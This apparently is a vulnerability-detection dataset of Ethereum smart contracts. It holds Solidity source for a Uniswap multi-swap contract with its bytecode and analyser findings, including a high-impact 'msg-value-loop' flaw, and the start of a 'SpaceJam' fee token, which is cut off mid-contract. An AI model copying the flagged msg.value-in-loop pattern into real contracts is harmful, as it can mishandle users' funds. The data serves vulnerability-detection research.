require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function balanceOf(address owner) external view returns (uint);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
contract MultiTransferSwap is Ownable {
using SafeMath for uint256;
address private factory;
address private WETH;
modifier ensure(uint _deadline) {
require(_deadline >= block.timestamp, 'EXPIRED');
_;
}
constructor() public {
factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
}
receive() external payable {
}
function _swap(uint[] memory _amounts, address[] memory _path, address _to) internal virtual {
for (uint i; i < _path.length - 1; i++) {
(address input, address output) = (_path[i], _path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint amountOut = _amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < _path.length - 2 ? UniswapV2Library.pairFor(factory, output, _path[i + 2]) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function multiSwapETHForExactTokens(uint times, uint amountOut, address[] calldata path, address to)
external
payable
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
for (uint i; i < times; i++){
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value.div(times), 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
}
// refund dust eth, if any
if (msg.value > amounts[0].mul(times)) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0].mul(times));
}
} | 0x6080604052600436106100745760003560e01c8063b6c523241161004e578063b6c52324146100ef578063dd4670641461011a578063f282061114610155578063f2fde38b146102575761007b565b8063715018a6146100805780638da5cb5b14610097578063a69df4b5146100d85761007b565b3661007b57005b600080fd5b34801561008c57600080fd5b506100956102a8565b005b3480156100a357600080fd5b506100ac61042e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100e457600080fd5b506100ed610457565b005b3480156100fb57600080fd5b50610104610674565b6040518082815260200191505060405180910390f35b34801561012657600080fd5b506101536004803603602081101561013d57600080fd5b810190808035906020019092919050505061067e565b005b6102006004803603608081101561016b57600080fd5b8101908080359060200190929190803590602001909291908035906020019064010000000081111561019c57600080fd5b8201836020820111156101ae57600080fd5b803590602001918460208302840111640100000000831117156101d057600080fd5b9091929391929390803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086f565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610243578082015181840152602081019050610228565b505050509050019250505060405180910390f35b34801561026357600080fd5b506102a66004803603602081101561027a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d18565b005b6102b0610f23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610370576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104fd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611dcc6023913960400191505060405180910390fd5b6002544211610574576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600254905090565b610686610f23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610746576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6060600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16848460008181106108b757fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461095d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f556e69737761705632526f757465723a20494e56414c49445f5041544800000081525060200191505060405180910390fd5b60005b86811015610cad576109d6600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1687878780806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050610f2b565b91506109eb87346110ab90919063ffffffff16565b826000815181106109f857fe5b60200260200101511115610a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180611d826027913960400191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db083600081518110610aa257fe5b60200260200101516040518263ffffffff1660e01b81526004016000604051808303818588803b158015610ad557600080fd5b505af1158015610ae9573d6000803e3d6000fd5b5050505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb610bab600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1688886000818110610b5f57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1689896001818110610b8957fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff166110f5565b84600081518110610bb857fe5b60200260200101516040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d6020811015610c3d57600080fd5b8101908080519060200190929190505050610c5457fe5b610ca082868680806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050508561120e565b8080600101915050610960565b50610cd58682600081518110610cbf57fe5b60200260200101516114a790919063ffffffff16565b341115610d0f57610d0e33610d078884600081518110610cf157fe5b60200260200101516114a790919063ffffffff16565b340361152d565b5b95945050505050565b610d20610f23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611cc26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6060600282511015610fa5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f556e697377617056324c6962726172793a20494e56414c49445f50415448000081525060200191505060405180910390fd5b815167ffffffffffffffff81118015610fbd57600080fd5b50604051908082528060200260200182016040528015610fec5781602001602082028036833780820191505090505b509050828160018351038151811061100057fe5b6020026020010181815250506000600183510390505b60008111156110a3576000806110568786600186038151811061103557fe5b602002602001015187868151811061104957fe5b602002602001015161168c565b9150915061107884848151811061106957fe5b602002602001015183836117b5565b84600185038151811061108757fe5b6020026020010181815250505050808060019003915050611016565b509392505050565b60006110ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118f2565b905092915050565b600080600061110485856119b8565b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60005b60018351038110156114a15760008084838151811061122c57fe5b602002602001015185600185018151811061124357fe5b602002602001015191509150600061125b83836119b8565b509050600087600186018151811061126f57fe5b602002602001015190506000808373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16146112b7578260006112bb565b6000835b91509150600060028a510388106112d25788611316565b611315600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16878c60028c018151811061130857fe5b60200260200101516110f5565b5b9050611345600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1688886110f5565b73ffffffffffffffffffffffffffffffffffffffff1663022c0d9f848484600067ffffffffffffffff8111801561137b57600080fd5b506040519080825280601f01601f1916602001820160405280156113ae5781602001600182028036833780820191505090505b506040518563ffffffff1660e01b8152600401808581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561142657808201518184015260208101905061140b565b50505050905090810190601f1680156114535780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561147557600080fd5b505af1158015611489573d6000803e3d6000fd5b50505050505050505050508080600101915050611211565b50505050565b6000808314156114ba5760009050611527565b60008284029050828482816114cb57fe5b0414611522576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611d616021913960400191505060405180910390fd5b809150505b92915050565b60008273ffffffffffffffffffffffffffffffffffffffff1682600067ffffffffffffffff8111801561155f57600080fd5b506040519080825280601f01601f1916602001820160405280156115925781602001600182028036833780820191505090505b506040518082805190602001908083835b602083106115c657805182526020820191506020810190506020830392506115a3565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611628576040519150601f19603f3d011682016040523d82523d6000602084013e61162d565b606091505b5050905080611687576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611da96023913960400191505060405180910390fd5b505050565b600080600061169b85856119b8565b5090506000806116ac8888886110f5565b73ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156116f157600080fd5b505afa158015611705573d6000803e3d6000fd5b505050506040513d606081101561171b57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691508273ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161461179f5780826117a2565b81815b8095508196505050505050935093915050565b600080841161180f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611ce8602c913960400191505060405180910390fd5b60008311801561181f5750600082115b611874576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611d396028913960400191505060405180910390fd5b600061189d6103e861188f87876114a790919063ffffffff16565b6114a790919063ffffffff16565b905060006118c86103e56118ba8887611b2f90919063ffffffff16565b6114a790919063ffffffff16565b90506118e760018284816118d857fe5b04611b7990919063ffffffff16565b925050509392505050565b6000808311829061199e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611963578082015181840152602081019050611948565b50505050905090810190601f1680156119905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816119aa57fe5b049050809150509392505050565b6000808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d146025913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1610611a7a578284611a7d565b83835b8092508193505050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b28576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f556e697377617056324c6962726172793a205a45524f5f41444452455353000081525060200191505060405180910390fd5b9250929050565b6000611b7183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c01565b905092915050565b600080828401905083811015611bf7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290611cae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c73578082015181840152602081019050611c58565b50505050905090810190601f168015611ca05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373556e697377617056324c6962726172793a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553556e697377617056324c6962726172793a20494e53554646494349454e545f4c4951554944495459536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77556e69737761705632526f757465723a204558434553534956455f494e5055545f414d4f554e545472616e7366657248656c7065723a204554485f5452414e534645525f4641494c4544596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636ba264697066735822122010d70b65b9b689a4f183c3e9098f04759de8a82d78ce834d101063f5de93d8da64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 138 |
0x9ddf88ab2747cd1d934b20a84f83064a190d72fc | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
abstract contract IERC20Extented is IERC20 {
function decimals() public view virtual returns (uint8);
function name() public view virtual returns (string memory);
function symbol() public view virtual returns (string memory);
}
contract SpaceJam is Context, IERC20, IERC20Extented, Ownable {
using SafeMath for uint256;
string private constant _name = "Space Jam | t.me/SpaceJamOfficial";
string private constant _symbol = "SPACE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _tFeeTotal;
uint256 private _firstBlock;
uint256 private _botBlocks;
uint256 public _buybackFee = 80;
uint256 private _previousBuybackFee = _buybackFee;
uint256 public _marketingFee = 10;
uint256 private _previousMarketingFee = _marketingFee;
uint256 public _devFee = 10;
uint256 private _previousDevFee = _devFee;
uint256 public _marketingPercent = 20;
uint256 public _buybackPercent = 80;
mapping(address => bool) private bots;
address payable private _marketingAddress = payable(0xEb6c3Ec09Fb820a4948cB2694F99e6954494147c);
address payable private _buybackAddress = payable(0xd3c6944ecF9F4eF693b8631780185AB3AaC90d82);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 private _maxTxAmount;
bool private tradingOpen = false;
bool private inSwap = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event PercentsUpdated(uint256 _marketingPercent, uint256 _buybackPercent);
event FeesUpdated(uint256 _buybackFee, uint256 _marketingFee, uint256 _devFee);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
_maxTxAmount = _tTotal;
balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_buybackAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() override public pure returns (string memory) {
return _name;
}
function symbol() override public pure returns (string memory) {
return _symbol;
}
function decimals() override public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
